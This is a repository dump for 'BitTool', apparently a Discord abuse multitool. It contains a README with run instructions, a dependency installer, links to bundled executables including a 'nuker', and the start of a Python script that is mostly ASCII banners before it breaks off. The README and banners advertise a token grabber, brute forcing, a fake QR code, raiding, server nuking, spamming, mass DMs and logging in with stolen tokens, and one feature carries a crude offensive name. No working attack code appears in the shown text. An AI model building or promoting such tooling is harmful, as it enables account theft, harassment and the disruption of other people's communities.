PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BitTool 2 | Custom made discord multitool only using python 3.9 3 | 4 | # How to use 5 | 1. Dowload the code as a .zip file 6 | 2. Unpack it with winrar or a other unzipping software 7 | 3. Run the .bat file to install all the libraries automatically or install all the required libraries yourself 8 | 4. Run the BitTool.py file 9 | 10 | # Achievements 11 | - Complete Recode 12 | - 20 Stars - Free Hchapta Solver 13 | - 50 Stars - Improve Token Gen 14 | - 100 Stars - Add New Features 15 | 16 | # Requirements 17 | - Python 3 18 | - Discord Tokens 19 | 20 | Libraries: 21 | - plyer 22 | - cfscrape 23 | - colorama 24 | - tasksio 25 | - getpass 26 | - asyncio 27 | - websocket 28 | - requests 29 | - selenium 30 | - discord_webhook 31 | - discord 32 | - discord.py 33 | - beautifulsoup4 34 | - Pillow 35 | - PyAutoGui 36 | - pyperclip 37 | - aiohttp 38 | - pypresence 39 | - dhooks 40 | - pyinstaller 41 | - datetime 42 | - PIL 43 | - gtts 44 | - ctypes 45 | - names 46 | - aiosonic 47 | 48 | 49 | # Features: 50 | - Webhook Delete 51 | - VC Lagger 52 | - Fast Token Checker 53 | - Mass Report [Not Done] 54 | - Token rape 55 | - 2K Characters Bypass 56 | - Block bypass 57 | - Mass DM Friends 58 | - Token Grabber 59 | - Hypesquad Changer 60 | - Webhook Spammer 61 | - Token Login 62 | - Raiding Tools [Spammer, Leaver, Joiner] 63 | - Token Information 64 | - Other tools [2 Selfbots, 2 Nukers, 2 Multitools] 65 | -------------------------------------------------------------------------------- /Scraped/channels.txt: -------------------------------------------------------------------------------- 1 | DELETE THIS TEXT -------------------------------------------------------------------------------- /Scraped/members.txt: -------------------------------------------------------------------------------- 1 | DELETE THIS TEXT -------------------------------------------------------------------------------- /Scraped/roles.txt: -------------------------------------------------------------------------------- 1 | DELETE THIS TEXT -------------------------------------------------------------------------------- /setup.bat: -------------------------------------------------------------------------------- 1 | pip install plyer 2 | pip install cfscrape 3 | pip install colorama 4 | pip install tasksio 5 | pip install getpass 6 | pip install asyncio 7 | pip install websocket 8 | pip install requests 9 | pip install selenium 10 | pip install discord_webhook 11 | pip install plyer 12 | pip install discord 13 | pip install discord.py 14 | pip install beautifulsoup4 15 | pip install Pillow 16 | pip install PyAutoGui 17 | pip install pyperclip 18 | pip install aiohttp 19 | pip install pypresence 20 | pip install dhooks 21 | pip install pyinstaller 22 | pip install datetime 23 | pip install PIL 24 | pip install gtts 25 | pip install ctypes 26 | pip install names 27 | pip install aiosonic 28 | -------------------------------------------------------------------------------- /temp/Scraped/channels.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /temp/Scraped/members.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /temp/Scraped/roles.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /tokens.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /utilities/chromedriver.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BitStore-dev/BitTool/a395a1a8bb2e958e0fa5c79bc0fbbbdfc5995606/utilities/chromedriver.exe -------------------------------------------------------------------------------- /utilities/nukers/AveryNuker/Scraped/channels.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /utilities/nukers/AveryNuker/Scraped/members.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /utilities/nukers/AveryNuker/Scraped/roles.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /utilities/nukers/AveryNuker/avery.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BitStore-dev/BitTool/a395a1a8bb2e958e0fa5c79bc0fbbbdfc5995606/utilities/nukers/AveryNuker/avery.exe -------------------------------------------------------------------------------- /utilities/other/Astraahome/astraahome.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | import sys 4 | import time 5 | import random 6 | import os.path 7 | import string 8 | import subprocess 9 | import pyperclip 10 | import pyautogui 11 | import urllib.request 12 | import random 13 | import threading 14 | import ctypes 15 | import base64 16 | import discord 17 | import json 18 | import datetime 19 | import shutil 20 | import aiohttp 21 | import asyncio 22 | from colorama import Fore, init 23 | from dhooks import Webhook 24 | from tkinter import * 25 | import tkinter.font as font 26 | from selenium import webdriver 27 | from PIL import Image 28 | from itertools import cycle 29 | from bs4 import BeautifulSoup 30 | import requests as req 31 | from threading import Thread as thr 32 | from discord.ext import commands 33 | from discord.ext.commands import Bot 34 | from plyer import notification 35 | from datetime import datetime 36 | from pypresence import Presence 37 | from discord import Webhook, AsyncWebhookAdapter 38 | 39 | y = Fore.LIGHTYELLOW_EX 40 | b = Fore.LIGHTBLUE_EX 41 | w = Fore.LIGHTWHITE_EX 42 | 43 | def Spinner(): 44 | l = ['|', '/', '-', '\\'] 45 | for i in l+l+l: 46 | sys.stdout.write(f"""\r{y}[{b}#{y}]{w} Loading... {i}""") 47 | sys.stdout.flush() 48 | time.sleep(0.2) 49 | 50 | def astraahometitle(): 51 | print(f"""\n\n {b}█████{y}╗ {b}███████{y}╗{b}████████{y}╗{b}██████{y}╗ {b}█████{y}╗ {b}█████{y}╗ {b}██{y}╗ {b}██{y}╗ {b}██████{y}╗ {b}███{y}╗ {b}███{y}╗{b}███████{y}╗""") 52 | print(f""" {b}██{y}╔══{b}██{y}╗{b}██{y}╔════╝╚══{b}██{y}╔══╝{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}║ {b}██{y}║{b}██{y}╔═══{b}██{y}╗{b}████{y}╗ {b}████{y}║{b}██{y}╔════╝""") 53 | print(f""" {b}███████{y}║{b}███████{y}╗ {b}██{y}║ {b}██████{y}╔╝{b}███████{y}║{b}███████{y}║{b}███████{y}║{b}██{y}║ {b}██{y}║{b}██{y}╔{b}████{y}╔{b}██{y}║{b}█████{y}╗ """) 54 | print(f""" {b}██{y}╔══{b}██{y}║╚════{b}██{y}║ {b}██{y}║ {b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}║{b}██{y}╔══{b}██{y}║{b}██{y}╔══{b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}║╚{b}██{y}╔╝{b}██{y}║{b}██{y}╔══╝ """) 55 | print(f""" {b}██{y}║ {b}██{y}║{b}███████{y}║ {b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║╚{b}██████{y}╔╝{b}██{y}║ ╚═╝ {b}██{y}║{b}███████{y}╗""") 56 | print(f""" ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝\n""") 57 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 58 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 59 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 60 | 61 | def webhooksremovertitle(): 62 | print(f"""\n {b}██████{y}╗ {b}███████{y}╗{b}███{y}╗ {b}███{y}╗ {b}██████{y}╗ {b}██{y}╗ {b}██{y}╗{b}███████{y}╗{b}██████{y}╗ """) 63 | print(f""" {b}██{y}╔══{b}██{y}╗{b}██{y}╔════╝{b}████{y}╗ {b}████{y}║{b}██{y}╔═══{b}██{y}╗{b}██{y}║ {b}██{y}║{b}██{y}╔════╝{b}██{y}╔══{b}██{y}╗""") 64 | print(f""" {b}██████{y}╔╝{b}█████{y}╗ {b}██{y}╔{b}████{y}╔{b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}█████{y}╗ {b}██████{y}╔╝""") 65 | print(f""" {b}██{y}╔══{b}██{y}╗{b}██{y}╔══╝ {b}██{y}║╚{b}██{y}╔╝{b}██{y}║{b}██{y}║ {b}██{y}║╚{b}██{y}╗ {b}██{y}╔╝{b}██{y}╔══╝ {b}██{y}╔══{b}██{y}╗""") 66 | print(f""" {b}██{y}║ {b}██{y}║{b}███████{y}╗{b}██{y}║ ╚═╝ {b}██{y}║╚{b}██████{y}╔╝ ╚{b}████{y}╔╝ {b}███████{y}╗{b}██{y}║ {b}██{y}║""") 67 | print(f""" ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\n""") 68 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 69 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 70 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 71 | 72 | def cyclecolorthemetitle(): 73 | print(f"""\n {b}██████{y}╗{b}██{y}╗ {b}██{y}╗ {b}██████{y}╗{b}██{y}╗ {b}███████{y}╗ {b}████████{y}╗{b}██{y}╗ {b}██{y}╗{b}███████{y}╗{b}███{y}╗ {b}███{y}╗{b}███████{y}╗""") 74 | print(f""" {b}██{y}╔════╝╚{b}██{y}╗ {b}██{y}╔╝{b}██{y}╔════╝{b}██{y}║ {b}██{y}╔════╝ ╚══{b}██{y}╔══╝{b}██{y}║ {b}██{y}║{b}██{y}╔════╝{b}████{y}╗ {b}████{y}║{b}██{y}╔════╝""") 75 | print(f""" {b}██{y}║ ╚{b}████{y}╔╝ {b}██{y}║ {b}██{y}║ {b}█████{y}╗ {b}██{y}║ {b}███████{y}║{b}█████{y}╗ {b}██{y}╔{b}████{y}╔{b}██{y}║{b}█████{y}╗ """) 76 | print(f""" {b}██{y}║ ╚{b}██{y}╔╝ {b}██{y}║ {b}██{y}║ {b}██{y}╔══╝ {b}██{y}║ {b}██{y}╔══{b}██{y}║{b}██{y}╔══╝ {b}██{y}║╚{b}██{y}╔╝{b}██{y}║{b}██{y}╔══╝ """) 77 | print(f""" ╚{b}██████{y}╗ {b}██{y}║ ╚{b}██████{y}╗{b}███████{y}╗{b}███████{y}╗ {b}██{y}║ {b}██{y}║ {b}██{y}║{b}███████{y}╗{b}██{y}║ ╚═╝ {b}██{y}║{b}███████{y}╗""") 78 | print(f""" ╚═════╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝\n""") 79 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 80 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 81 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 82 | 83 | def hypesquadchangertitle(): 84 | print(f"""\n {b}██{y}╗ {b}██{y}╗{b}██{y}╗ {b}██{y}╗{b}██████{y}╗ {b}███████{y}╗{b}███████{y}╗ {b}██████{y}╗ {b}██{y}╗ {b}██{y}╗ {b}█████{y}╗ {b}██████{y}╗ """) 85 | print(f""" {b}██{y}║ {b}██{y}║╚{b}██{y}╗ {b}██{y}╔╝{b}██{y}╔══{b}██{y}╗{b}██{y}╔════╝{b}██{y}╔════╝{b}██{y}╔═══{b}██{y}╗{b}██{y}║ {b}██{y}║{b}██{y}╔══{b}██{y}{y}╗{b}██{y}╔══{b}██{y}╗""") 86 | print(f""" {b}███████{y}║ ╚{b}████{y}╔╝ {b}██████{y}╔╝{b}█████{y}╗ {b}███████{y}╗{b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}███████{y}║{b}██{y}║ {b}██{y}║""") 87 | print(f""" {b}██{y}╔══{b}██{y}║ ╚{b}██{y}╔╝ {b}██{y}╔═══╝ {b}██{y}╔══╝ ╚════{b}██{y}║{b}██{y}║{b}▄▄ ██{y}║{b}██{y}║ {b}██{y}║{b}██{y}╔══{b}██{y}║{b}██{y}║ {b}██{y}║""") 88 | print(f""" {b}██{y}║ {b}██{y}║ {b}██{y}║ {b}██{y}║ {b}███████{y}╗{b}███████{y}║╚{b}██████{y}╔╝╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}║{b}██████{y}╔╝""") 89 | print(f""" ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚══════╝ ╚══{b}▀▀{y}═╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝\n""") 90 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 91 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 92 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 93 | 94 | def tokengentitle(): 95 | print(f"""\n {b}████████{y}╗ {b}██████{y}╗ {b}██{y}╗ {b}██{y}╗{b}███████{y}╗{b}███{y}╗ {b}██{y}╗ {b}██████{y}╗ {b}███████{y}╗{b}███{y}╗ {b}██{y}╗""") 96 | print(f""" {y}╚══{b}██{y}╔══╝{b}██{y}╔═══{b}██{y}╗{b}██{y}║ {b}██{y}╔╝{b}██{y}╔════╝{b}████{y}╗ {b}██{y}║{b}██{y}╔════╝ {b}██{y}╔════╝{b}████{y}╗ {b}██{y}║""") 97 | print(f""" {b}██{y}║ {b}██{y}║ {b}██{y}║{b}█████{y}╔╝ {b}█████{y}╗ {b}██{y}╔{b}██{y}╗ {b}██{y}║{b}██{y}║ {b}███{y}╗{b}█████{y}╗ {b}██{y}╔{b}██{y}╗ {b}██{y}║""") 98 | print(f""" {b} ██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}╔═{b}██{y}╗ {b}██{y}╔══╝ {b}██{y}║╚{b}██{y}╗{b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}╔══╝ {b}██{y}║╚{b}██{y}╗{b}██{y}║""") 99 | print(f""" {b}██{y}║ ╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}╗{b}███████{y}╗{b}██{y}║ ╚{b}████{y}║╚{b}██████{y}╔╝{b}███████{y}╗{b}██{y}║ ╚{b}████{y}║""") 100 | print(f""" ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝\n""") 101 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 102 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 103 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 104 | 105 | def nitrogentitle(): 106 | print(f"""\n {b}███{y}╗ {b}██{y}╗{b}██{y}╗{b}████████{y}╗{b}██████{y}╗ {b}██████{y}╗ {b} ██████{y}╗ {b}███████{y}╗{b}███{y}╗ {b}██{y}╗""") 107 | print(f""" {b}████{y}╗ {b}██{y}║{b}██{y}║╚══{b}██{y}╔══╝{b}██{y}╔══{b}██{y}╗{b}██{y}╔═══{b}██{y}╗{b}██{y}╔════╝ {b}██{y}╔════╝{b}████{y}╗ {b}██{y}║""") 108 | print(f""" {b}██{y}╔{b}██{y}╗ {b}██{y}║{b}██{y}║ {b}██{y}║ {b}██████{y}╔╝{b}██{y}║ {b}██{y}║{b}██{y}║ {b}███{y}╗{b}█████{y}╗ {b}██{y}╔{b}██{y}╗ {b}██{y}║""") 109 | print(f""" {b}██{y}║╚{b}██{y}╗{b}██{y}║{b}██{y}║ {b}██{y}║ {b}██{y}╔══{b}██{y}╗{b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}╔══╝ {b}██{y}║╚{b}██{y}╗{b}██{y}║""") 110 | print(f""" {b}██{y}║ ╚{b}████{y}║{b}██{y}║ {b}██{y}║ {b}██{y}║ {b}██{y}║╚{b}██████{y}╔╝╚{b}██████{y}╔╝{b}███████{y}╗{b}██{y}║ ╚{b}████{y}║""") 111 | print(f""" ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝\n""") 112 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 113 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 114 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 115 | 116 | def autologintitle(): 117 | print(f"""\n\n {b}█████{y}╗ {b}██{y}╗ {b}██{y}╗{b}████████{y}╗ {b}██████{y}╗ {b}██{y}╗ {b}██████{y}╗ {b}██████{y}╗ {b}██{y}╗{b}███{y}╗ {b}██{y}╗""") 118 | print(f""" {b}██{y}╔══{b}██{y}╗{b}██{y}║ {b}██{y}║╚══{b}██{y}╔══╝{b}██{y}╔═══{b}██{y}╗{b}██{y}║ {b}██{y}╔═══{b}██{y}╗{b}██{y}╔════╝ {b}██{y}║{b}████{y}╗ {b}██{y}║""") 119 | print(f""" {b}███████{y}║{b}██{y}║ {b}██{y}║ {b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}║ {b}███{y}╗{b}██{y}║{b}██{y}╔{b}██{y}╗ {b}██{y}║""") 120 | print(f""" {b}██{y}╔══{b}██{y}║{b}██{y}║ {b}██{y}║ {b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}║{b}██{y}║╚{b}██{y}╗{b}██{y}║""") 121 | print(f""" {b}██{y}║ {b}██{y}║╚{b}██████{y}╔╝ {b}██{y}║ ╚{b}██████{y}╔╝{b}███████{y}╗╚{b}██████{y}╔╝╚{b}██████{y}╔╝{b}██{y}║{b}██{y}║ ╚{b}████{y}║""") 122 | print(f""" ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝\n""") 123 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 124 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 125 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 126 | 127 | def tokeninfotitle(): 128 | print(f"""\n\n {b}████████{y}╗ {b}██████{y}╗ {b}██{y}╗ {b}██{y}╗{b}███████{y}╗{b}███{y}╗ {b}██{y}╗{b}██{y}╗{b}███{y}╗ {b}██{y}╗{b}███████{y}╗ {b}██████{y}╗ """) 129 | print(f""" {y}╚══{b}██{y}╔══╝{b}██{y}╔═══{b}██{y}╗{b}██{y}║ {b}██{y}╔╝{b}██{y}╔════╝{b}████{y}╗ {b}██{y}║{b}██{y}║{b}████{y}╗ {b}██{y}║{b}██{y}╔════╝{b}██{y}╔═══{b}██{y}╗""") 130 | print(f""" {b}██{y}║ {b}██{y}║ {b}██{y}║{b}█████{y}╔╝ {b}█████{y}╗ {b}██{y}╔{b}██{y}╗ {b}██{y}║{b}██{y}║{b}██{y}╔{b}██{y}╗ {b}██{y}║{b}█████{y}╗ {b}██{y}║ {b}██{y}║""") 131 | print(f""" {b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}╔═{b}██{y}╗ {b}██{y}╔══╝ {b}██{y}║╚{b}██{y}╗{b}██{y}║{b}██{y}║{b}██{y}║╚{b}██{y}╗{b}██{y}║{b}██{y}╔══╝ {b}██{y}║ {b}██{y}║""") 132 | print(f""" {b}██{y}║ ╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}╗{b}███████{y}╗{b}██{y}║ ╚{b}████{y}║{b}██{y}║{b}██{y}║ ╚{b}████{y}║{b}██{y}║ {y}╚{b}██████{y}╔╝""") 133 | print(f""" ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ \n""") 134 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 135 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 136 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 137 | 138 | def tokenrapetitle(): 139 | print(f"""\n\n {b}████████{y}╗ {b}██████{y}╗ {b}██{y}╗ {b}██{y}╗{b}███████{y}╗{b}███{y}╗ {b}██{y}╗{b}██████{y}╗ {b}█████{y}╗ {b}██████{y}╗ {b}███████{y}╗""") 140 | print(f""" {y}╚══{b}██{y}╔══╝{b}██{y}╔═══{b}██{y}╗{b}██{y}║ {b}██{y}╔╝{b}██{y}╔════╝{b}████{y}╗ {b}██{y}║{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}╔════╝""") 141 | print(f""" {b}██{y}║ {b}██{y}║ {b}██{y}║{b}█████{y}╔╝ {b}█████{y}╗ {b}██{y}╔{b}██{y}╗ {b}██{y}║{b}██████{y}╔╝{b}███████{y}║{b}██████{y}╔╝{b}█████{y}╗ """) 142 | print(f""" {b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}╔═{b}██{y}╗ {b}██{y}╔══╝ {b}██{y}║╚{b}██{y}╗{b}██{y}║{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}║{b}██{y}╔═══╝ {b}██{y}╔══╝ """) 143 | print(f""" {b}██{y}║ ╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}╗{b}███████{y}╗{b}██{y}║ ╚{b}████{y}║{b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}║ {b}███████{y}╗""") 144 | print(f""" ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚══════╝\n""") 145 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 146 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 147 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 148 | 149 | def brutforcetitle(): 150 | print(f"""\n\n {b}██████{y}╗ {b}██████{y}╗ {b}██{y}╗ {b}██{y}╗{b}████████{y}╗{b}███████{y}╗ {b}██████{y}╗ {b}██████{y}╗ {b}██████{y}╗{b}███████{y}╗""") 151 | print(f""" {b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}║ {b}██{y}║╚══{b}██{y}╔══╝{b}██{y}╔════╝{b}██{y}╔═══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}╔════╝{b}██{y}╔════╝""") 152 | print(f""" {b}██████{y}╔╝{b}██████{y}╔╝{b}██{y}║ {b}██{y}║ {b}██{y}║ {b}█████{y}╗ {b}██{y}║ {b}██{y}║{b}██████{y}╔╝{b}██{y}║ {b}█████{y}╗ """) 153 | print(f""" {b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}║ {b}██{y}║ {b}██{y}║ {b}██{y}╔══╝ {b}██{y}║ {b}██{y}║{b}██{y}╔══{b}██{y}╗{b}██{y}║ {b}██{y}╔══╝ """) 154 | print(f""" {b}██████{y}╔╝{b}██{y}║ {b}██{y}║╚{b}██████{y}╔╝ {b}██{y}║ {b}██{y}║ ╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}║╚{b}██████{y}╗{b}███████{y}╗""") 155 | print(f""" ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝\n""") 156 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 157 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 158 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 159 | 160 | def fakeqrtitle(): 161 | print(f"""\n\n {b}███████{y}╗ {b}█████{y}╗ {b}██{y}╗ {b}██{y}╗{b}███████{y}╗ {b}██████{y}╗ {b}██████{y}╗ """) 162 | print(f""" {b}██{y}╔════╝{b}██{y}╔══{b}██{y}╗{b}██{y}║ {b}██{y}╔╝{b}██{y}╔════╝ {b}██{y}╔═══{b}██{y}╗{b}██{y}╔══{b}██{y}╗""") 163 | print(f""" {b}█████{y}╗ {b}███████{y}║{b}█████{y}╔╝ {b}█████{y}╗ {b}██{y}║ {b}██{y}║{b}██████{y}╔╝""") 164 | print(f""" {b}██{y}╔══╝ {b}██{y}╔══{b}██{y}║{b}██{y}╔═{b}██{y}╗ {b}██{y}╔══╝ {b}██{y}║{b}▄▄ ██{y}║{b}██{y}╔══{b}██{y}╗""") 165 | print(f""" {b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}╗{b}███████{y}╗ ╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}║""") 166 | print(f""" ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚══{b}▀▀{y}═╝ ╚═╝ ╚═╝\n""") 167 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 168 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 169 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 170 | 171 | def tokengrabbertitle(): 172 | print(f"""\n\n {b}████████{y}╗ {b}██████{y}╗ {b}██{y}╗ {b}███{y}╗{b}███████{y}╗{b}███{y}╗ {b}██{y}╗ {b}██████{y}╗ {b}██████{y}╗ {b}█████{y}╗ {b}██████{y}╗ {b}██████{y}╗ {b}███████{y}╗{b}██████{y}╗ """) 173 | print(f""" {y}╚══{b}██{y}╔══╝{b}██{y}╔═══{b}██{y}╗{b}██{y}║ {b}██{y}╔╝{b}██{y}╔════╝{b}████{y}╗ {b}██{y}║ {b}██{y}╔════╝ {b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}╔════╝{b}██{y}╔══{b}██{y}╗""") 174 | print(f""" {b}██{y}║ {b}██{y}║ {b}██{y}║{b}█████{y}╔╝ {b}█████{y}╗ {b}██{y}╔{b}██{y}╗ {b}██{y}║ {b}██{y}║ {b}███{y}╗{b}██████{y}╔╝{b}███████{y}║{b}██████{y}╔╝{b}██████{y}╔╝{b}█████{y}╗ {b}██████{y}╔╝""") 175 | print(f""" {b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}╔═{b}██{y}╗ 